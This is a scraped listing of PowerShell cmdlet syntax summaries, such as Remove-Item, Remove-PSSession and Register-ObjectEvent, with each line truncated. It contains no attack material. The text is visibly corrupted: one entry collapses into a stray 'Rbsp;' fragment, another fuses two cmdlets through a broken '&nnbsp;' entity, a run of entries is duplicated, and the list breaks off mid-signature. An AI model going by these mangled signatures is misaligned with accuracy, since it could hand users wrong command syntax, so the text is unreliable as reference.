- Cmdlet Push-Location Push-Location [[-Path] <String>] [-PassThru] [-StackName <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <...
- Cmdlet Export-ModuleMember Export-ModuleMember [[-Function] <String[]>] [-Cmdlet <String[]>] [-Variable <String[]>] [-Alias <String[]>] [-Verbose] [-Debug] [-ErrorAc...
- Cmdlet Remove-Job Remove-Job [-Id] <Int32[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVaria...
- Cmdlet Remove-ItemProperty Remove-ItemProperty [-Path] <String[]> [-Name] <String[]> [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Creden...
- Cmdlet Remove-Item Remove-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Recurse] [-Force] [-Credential <PSCredenti...
- Cmdlet Remove-Module Remove-Module [-Name] <String[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...
- Cmdlet Remove-PSSession Remove-PSSession [-Id] <Int32[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable...
- Cmdlet Remove-PSDrive Remove-PSDrive [-Name] <String[]> [-PSProvider <String[]>] [-Scope <String>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>...
- Cmdlet Remove-PSBreakpoint Remove-PSBreakpoint [-Breakpoint] <Breakpoint[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...
- Cmdlet Remove-EventLog Remove-EventLog [-LogName] <String[]> [[-ComputerName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <...
- Cmdlet Rbsp;[-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Creden...
- Cmdlet Remove-Item Remove-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Recurse] [-Force] [-Credential <PSCredenti...
- Cmdlet Remove-Module Remove-Module [-Name] <String[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...
- Cmdlet Remove-PSSession Remove-PSSession [-Id] <Int32[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable...
- Cmdlet Remove-PSDrive Remove-PSDrive [-Name] <String[]> [-PSProvider <String[]>] [-Scope <String>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>...
- Cmdlet Remove-PSBreakpoint Remove-PSBreakpoint [-Breakpoint] <Breakpoint[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...
- Cmdlet Remove-EventLog Remove-EventLog [-LogName] <String[]> [[-ComputerName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <...
- Cmdlet Register-ObjectEvent Register-ObjectEvent [-InputObject] <PSObject> [-EventName] <String> [[-SourceIdentifier] <String>] [[-Action] <ScriptBlock>] [-MessageDat...
- Cmdlet Register-EngineEvent Register-EngineEvent [-SourceIdentifier] <String> [[-Action] <ScriptBlock>] [-MessageData <PSObject>] [-SupportEvent] [-Forward] [-Verbose...
- Cmdlet Receive-Job Receive-Job [-Job] <Job[]> [[-Location] <String[]>] [-Keep] [-NoRecurse] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...
- Cmdlet Register-PSSessionConfiguration Register-PSSessionConfiguration [-Name] <String> [-ProcessorArchitecture <String>] [-ApplicationBase <String>] [-ThreadApartmentState <Apa...
- Cmdlet Remove-Event Remove-Event [-SourceIdentifier] <String> [-Verbose] [-Debug] [-ErrorAction&nnbsp; Remove-Module [-Name] <String[]> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...
- Cmdlet Remove-PSSession Remove-PSSession [-Id] <Int32